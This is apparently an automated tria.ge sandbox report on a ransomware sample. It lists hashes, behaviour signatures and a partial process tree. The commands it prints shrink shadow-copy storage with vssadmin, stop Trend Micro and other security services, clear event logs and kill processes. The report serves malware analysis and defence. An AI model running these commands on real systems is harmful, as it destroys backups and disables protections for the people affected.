Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
25s -
max time network
153s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
13/02/2024, 20:46
Static task
static1
Behavioral task
behavioral1
Sample
0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe
Resource
win10v2004-20231215-en
Errors
General
-
Target
0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe
-
Size
2.2MB
-
MD5
0608c64c57dcc09246be00f0b2767e6e
-
SHA1
02642663bfc7be0c06051f4b01c9861102c71850
-
SHA256
0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985
-
SHA512
1c61fa21fd94c58349e8c2713828fa807bf44a3a00054cd1a11ab46ec74df4f0be00db245f4cce844b72bf8181e6c636490726ddc4f9d6211469429429ddb138
-
SSDEEP
24576:Hle0XU/NWp6jCcuYTQn095MmQdg4M/YJFweQDfj0OL2wwU+T8nQl/skT9Fs1g0jv:HiG2ekwA1e7i49vZGqsCz9/47Evz1z1
Malware Config
Extracted
C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\README_TO_DECRYPT.txt
https://qtox.github.io
https://tox.chat/download.html
Signatures
-
Clears Windows event logs 1 TTPs 6 IoCs
pid Process 3772 wevtutil.exe 3792 wevtutil.exe 3180 wevtutil.exe 3196 wevtutil.exe 3192 wevtutil.exe 3184 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Renames multiple (174) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\ClearMount.eps 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File created C:\Program Files\Common Files\Microsoft Shared\ink\bg-BG\README_TO_DECRYPT.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\Stationery\Memo.emf 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\zh-TW\tipresx.dll.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\7-Zip\Lang\ku.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\es-ES\micaut.dll.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\System\ado\es-ES\msader15.dll.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\es-ES\tabskb.dll.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\System\es-ES\wab32res.dll.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\DVD Maker\SecretST.TTF Process not Found File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyNotesBackground_PAL.wmv Process not Found File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\ipshrv.xml 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File created C:\Program Files\Common Files\System\ado\es-ES\README_TO_DECRYPT.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\System\msadc\ja-JP\msdaremr.dll.mui Process not Found File opened for modification C:\Program Files\7-Zip\Lang\ast.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\Stationery\Hand Prints.htm 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\Stationery\Monet.jpg 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\de-DE\ShapeCollector.exe.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\en-US\tipresx.dll.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\es-ES\mshwLatin.dll.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\ipsplk.xml 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-image-mask.png Process not Found File opened for modification C:\Program Files\7-Zip\Lang\hi.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\7-Zip\Lang\sr-spc.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File created C:\Program Files\Common Files\Microsoft Shared\Triedit\en-US\README_TO_DECRYPT.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\de-DE\mip.exe.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\Bear_Formatted_MATTE2_PAL.wmv Process not Found File opened for modification C:\Program Files\Common Files\Microsoft Shared\Stationery\Shades of Blue.htm 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File created C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\oskpred\README_TO_DECRYPT.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File created C:\Program Files\Common Files\Microsoft Shared\ink\nl-NL\README_TO_DECRYPT.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\fr-FR\mshwLatin.dll.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\ipskor.xml 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\System\msadc\ja-JP\msaddsr.dll.mui Process not Found File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\es-ES\rtscom.dll.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\main\zh-dayi.xml 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\System\Ole DB\sqloledb.rll 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\System\ado\ja-JP\msader15.dll.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\7-Zip\Lang\br.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\7-Zip\Lang\va.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\Stationery\Peacock.jpg 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\en-US\InkWatson.exe.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\es-ES\TipBand.dll.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\fr-FR\FlickLearningWizard.exe.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\button-highlight.png Process not Found File opened for modification C:\Program Files\7-Zip\Lang\lt.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\AddConnect.au 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\VSTO\vstoee90.tlb 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\en-US\boxed-correct.avi 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\7-Zip\Lang\bg.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\fr-FR\TipTsf.dll.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\ipsrus.xml 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\ru-RU\tipresx.dll.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File created C:\Program Files\Common Files\System\Ole DB\ja-JP\README_TO_DECRYPT.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\System\msadc\en-US\msadcor.dll.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\7-Zip\Lang\ka.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\Stationery\Tiki.gif 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File created C:\Program Files\Common Files\Microsoft Shared\ink\ar-SA\README_TO_DECRYPT.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\fr-FR\InputPersonalization.exe.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\de-DE\InkWatson.exe.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\de-DE\mshwLatin.dll.mui 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\main\base_kor.xml 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\babyblue.png Process not Found File opened for modification C:\Program Files\7-Zip\Lang\ba.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe File opened for modification C:\Program Files\7-Zip\Lang\kk.txt 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe -
Interacts with shadow copies 2 TTPs 54 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3356 vssadmin.exe 1772 vssadmin.exe 3148 vssadmin.exe 3252 vssadmin.exe 3300 vssadmin.exe 3316 vssadmin.exe 3144 vssadmin.exe 3292 vssadmin.exe 3936 vssadmin.exe 3828 vssadmin.exe 3840 vssadmin.exe 3004 vssadmin.exe 3820 vssadmin.exe 3676 vssadmin.exe 1652 vssadmin.exe 3608 vssadmin.exe 3224 vssadmin.exe 3996 vssadmin.exe 1620 vssadmin.exe 3244 vssadmin.exe 3276 vssadmin.exe 3524 vssadmin.exe 4092 vssadmin.exe 3172 vssadmin.exe 3404 vssadmin.exe 4060 vssadmin.exe 3752 vssadmin.exe 3692 vssadmin.exe 3132 vssadmin.exe 3420 vssadmin.exe 3732 vssadmin.exe 1752 vssadmin.exe 3340 vssadmin.exe 3712 vssadmin.exe 2108 vssadmin.exe 3204 vssadmin.exe 3644 vssadmin.exe 3684 vssadmin.exe 3108 vssadmin.exe 3124 vssadmin.exe 3236 vssadmin.exe 3260 vssadmin.exe 3284 vssadmin.exe 3212 vssadmin.exe 3228 vssadmin.exe 3308 vssadmin.exe 3268 vssadmin.exe 3600 vssadmin.exe 3088 vssadmin.exe 2000 vssadmin.exe 3080 vssadmin.exe 3740 vssadmin.exe 3708 vssadmin.exe 3984 vssadmin.exe -
Kills process with taskkill 64 IoCs
pid Process 3916 taskkill.exe 2456 taskkill.exe 3576 taskkill.exe 2020 Process not Found 4424 Process not Found 3972 taskkill.exe 4416 taskkill.exe 1444 taskkill.exe 380 Process not Found 4148 Process not Found 1928 Process not Found 2428 Process not Found 4880 Process not Found 984 Process not Found 1528 Process not Found 3528 Process not Found 4988 Process not Found 760 Process not Found 3256 taskkill.exe 4920 taskkill.exe 3356 taskkill.exe 3864 taskkill.exe 3984 taskkill.exe 3128 Process not Found 1660 Process not Found 4028 taskkill.exe 1116 taskkill.exe 668 Process not Found 1688 Process not Found 3020 Process not Found 380 Process not Found 2116 Process not Found 4704 Process not Found 1632 Process not Found 4136 Process not Found 4064 taskkill.exe 4460 taskkill.exe 4072 taskkill.exe 2292 Process not Found 3808 Process not Found 2104 Process not Found 3156 Process not Found 2580 Process not Found 5068 Process not Found 4880 Process not Found 4416 taskkill.exe 4768 Process not Found 3760 Process not Found 4048 taskkill.exe 1516 Process not Found 3048 taskkill.exe 4512 Process not Found 5060 Process not Found 4516 Process not Found 4944 Process not Found 3840 taskkill.exe 4120 Process not Found 4544 Process not Found 4748 Process not Found 4724 Process not Found 1652 Process not Found 1876 Process not Found 4180 taskkill.exe 576 taskkill.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 22 IoCs
pid Process 3504 powershell.exe 3504 powershell.exe 3504 powershell.exe 3504 taskkill.exe 3504 taskkill.exe 3504 taskkill.exe 3504 taskkill.exe 2788 powershell.exe 4568 powershell.exe 2568 powershell.exe 3504 Process not Found 3504 Process not Found 3504 Process not Found 4600 powershell.exe 3504 Process not Found 3504 Process not Found 3504 Process not Found 3504 Process not Found 3504 Process not Found 3504 Process not Found 4992 powershell.exe 3708 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeBackupPrivilege 3928 vssvc.exe Token: SeRestorePrivilege 3928 vssvc.exe Token: SeAuditPrivilege 3928 vssvc.exe Token: SeSecurityPrivilege 3772 taskkill.exe Token: SeSecurityPrivilege 3192 wevtutil.exe Token: SeBackupPrivilege 3192 wevtutil.exe Token: SeBackupPrivilege 3772 taskkill.exe Token: SeSecurityPrivilege 3792 taskkill.exe Token: SeSecurityPrivilege 3184 wevtutil.exe Token: SeSecurityPrivilege 3180 taskkill.exe Token: SeBackupPrivilege 3180 taskkill.exe Token: SeBackupPrivilege 3792 taskkill.exe Token: SeBackupPrivilege 3184 wevtutil.exe Token: SeSecurityPrivilege 3196 taskkill.exe Token: SeBackupPrivilege 3196 taskkill.exe Token: SeDebugPrivilege 3944 taskkill.exe Token: SeDebugPrivilege 3120 taskkill.exe Token: SeDebugPrivilege 3800 taskkill.exe Token: SeDebugPrivilege 3952 taskkill.exe Token: SeDebugPrivilege 3968 taskkill.exe Token: SeDebugPrivilege 3620 taskkill.exe Token: SeDebugPrivilege 4052 taskkill.exe Token: SeDebugPrivilege 3960 taskkill.exe Token: SeDebugPrivilege 3876 taskkill.exe Token: SeDebugPrivilege 3920 taskkill.exe Token: SeDebugPrivilege 3612 taskkill.exe Token: SeDebugPrivilege 3852 taskkill.exe Token: SeDebugPrivilege 3976 taskkill.exe Token: SeDebugPrivilege 3160 taskkill.exe Token: SeDebugPrivilege 3504 powershell.exe Token: SeDebugPrivilege 2788 powershell.exe Token: SeDebugPrivilege 4568 powershell.exe Token: SeDebugPrivilege 2568 powershell.exe Token: SeDebugPrivilege 4600 powershell.exe Token: SeDebugPrivilege 5036 taskkill.exe Token: SeDebugPrivilege 4136 taskkill.exe Token: SeDebugPrivilege 4992 powershell.exe Token: SeDebugPrivilege 3708 powershell.exe Token: SeDebugPrivilege 4364 taskkill.exe Token: SeDebugPrivilege 3604 taskkill.exe Token: SeDebugPrivilege 4348 Process not Found Token: SeDebugPrivilege 4496 taskkill.exe Token: SeDebugPrivilege 4528 Process not Found Token: SeDebugPrivilege 2384 Process not Found Token: SeDebugPrivilege 4724 Process not Found Token: SeDebugPrivilege 1556 taskkill.exe Token: SeDebugPrivilege 4500 Process not Found Token: SeDebugPrivilege 2268 Process not Found Token: SeDebugPrivilege 3700 taskkill.exe Token: SeDebugPrivilege 4784 Process not Found Token: SeDebugPrivilege 3200 Process not Found Token: SeDebugPrivilege 3788 taskkill.exe Token: SeDebugPrivilege 4392 taskkill.exe Token: SeDebugPrivilege 1684 Process not Found Token: SeDebugPrivilege 3672 Process not Found Token: SeDebugPrivilege 4768 Process not Found Token: SeDebugPrivilege 3528 Process not Found Token: SeDebugPrivilege 3660 Process not Found Token: SeDebugPrivilege 3892 Process not Found Token: SeDebugPrivilege 4080 taskkill.exe Token: SeDebugPrivilege 2460 Process not Found Token: SeDebugPrivilege 4216 Process not Found Token: SeDebugPrivilege 4300 Process not Found Token: SeDebugPrivilege 4812 Process not Found -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2240 wrote to memory of 2288 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 97 PID 2240 wrote to memory of 2288 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 97 PID 2240 wrote to memory of 2288 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 97 PID 2240 wrote to memory of 2288 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 97 PID 2240 wrote to memory of 2420 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 94 PID 2240 wrote to memory of 2420 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 94 PID 2240 wrote to memory of 2420 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 94 PID 2240 wrote to memory of 2420 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 94 PID 2240 wrote to memory of 2392 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 95 PID 2240 wrote to memory of 2392 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 95 PID 2240 wrote to memory of 2392 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 95 PID 2240 wrote to memory of 2392 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 95 PID 2240 wrote to memory of 2676 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 96 PID 2240 wrote to memory of 2676 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 96 PID 2240 wrote to memory of 2676 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 96 PID 2240 wrote to memory of 2676 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 96 PID 2240 wrote to memory of 2712 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 93 PID 2240 wrote to memory of 2712 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 93 PID 2240 wrote to memory of 2712 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 93 PID 2240 wrote to memory of 2712 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 93 PID 2240 wrote to memory of 2692 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 92 PID 2240 wrote to memory of 2692 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 92 PID 2240 wrote to memory of 2692 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 92 PID 2240 wrote to memory of 2692 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 92 PID 2240 wrote to memory of 2868 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 91 PID 2240 wrote to memory of 2868 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 91 PID 2240 wrote to memory of 2868 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 91 PID 2240 wrote to memory of 2868 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 91 PID 2240 wrote to memory of 2872 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 90 PID 2240 wrote to memory of 2872 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 90 PID 2240 wrote to memory of 2872 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 90 PID 2240 wrote to memory of 2872 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 90 PID 2240 wrote to memory of 2888 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 89 PID 2240 wrote to memory of 2888 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 89 PID 2240 wrote to memory of 2888 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 89 PID 2240 wrote to memory of 2888 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 89 PID 2240 wrote to memory of 2848 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 88 PID 2240 wrote to memory of 2848 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 88 PID 2240 wrote to memory of 2848 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 88 PID 2240 wrote to memory of 2848 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 88 PID 2240 wrote to memory of 2708 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 87 PID 2240 wrote to memory of 2708 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 87 PID 2240 wrote to memory of 2708 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 87 PID 2240 wrote to memory of 2708 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 87 PID 2240 wrote to memory of 2716 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 86 PID 2240 wrote to memory of 2716 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 86 PID 2240 wrote to memory of 2716 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 86 PID 2240 wrote to memory of 2716 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 86 PID 2240 wrote to memory of 2908 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 85 PID 2240 wrote to memory of 2908 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 85 PID 2240 wrote to memory of 2908 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 85 PID 2240 wrote to memory of 2908 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 85 PID 2240 wrote to memory of 2900 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 79 PID 2240 wrote to memory of 2900 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 79 PID 2240 wrote to memory of 2900 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 79 PID 2240 wrote to memory of 2900 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 79 PID 2240 wrote to memory of 2336 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 80 PID 2240 wrote to memory of 2336 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 80 PID 2240 wrote to memory of 2336 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 80 PID 2240 wrote to memory of 2336 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 80 PID 2240 wrote to memory of 2696 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 78 PID 2240 wrote to memory of 2696 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 78 PID 2240 wrote to memory of 2696 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 78 PID 2240 wrote to memory of 2696 2240 0162641163a30a2edff787eeecc733ab1de46f03e213743dc768d39eb3075985.exe 78 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "net stop Tmlisten /y"1⤵PID:1468
-
C:\Windows\SysWOW64\net.exenet stop Tmlisten /y2⤵PID:4080
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Tmlisten /y3⤵PID:4300
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "net stop Ntrtscan /y"1⤵PID:1972
-
C:\Windows\SysWOW64\net.exenet stop Ntrtscan /y2⤵PID:4044
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Ntrtscan /y3⤵PID:652
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "net stop AOTAgentSvc /y"1⤵PID:1104
-
C:\Windows\SysWOW64\net.exenet stop AOTAgentSvc /y2⤵PID:4068
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AOTAgentSvc /y3⤵PID:4780
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=B: /on=C: /maxsize=401MB"1⤵PID:1568
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=B: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3996
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=Y: /on=C: /maxsize=401MB"1⤵PID:1260
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=Y: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3088
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=W: /on=C: /maxsize=401MB"1⤵PID:2320
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=W: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:4092
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "net stop Tmccst /y"1⤵PID:1232
-
C:\Windows\SysWOW64\net.exenet stop Tmccst /y2⤵PID:2884
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Tmccst /y3⤵PID:4760
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=V: /on=C: /maxsize=401MB"1⤵PID:2356
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=V: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3984
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=X: /on=C: /maxsize=401MB"1⤵PID:1056
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=X: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3740
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "net stop Web Service Communicator /y"1⤵PID:2328
-
C:\Windows\SysWOW64\net.exenet stop Web Service Communicator /y2⤵PID:2248
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Web Service Communicator /y3⤵PID:3576
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "vssadmin resize shadowstorage /for=U: /on=C: /maxsize=401MB"1⤵PID:1544
-
C:\Windows\SysWOW64\vssadmin.exevssadmin resize shadowstorage /for=U: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3752
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "net stop Trend Micro /y"1⤵PID:2324
-
C:\Windows\SysWOW64\net.exenet stop Trend Micro /y2⤵PID:3908
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Trend Micro /y3⤵PID:4764
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "net stop iVPAgent /y"1⤵PID:1496
-
C:\Windows\SysWOW64\net.exenet stop iVPAgent /y2⤵PID:3912
-
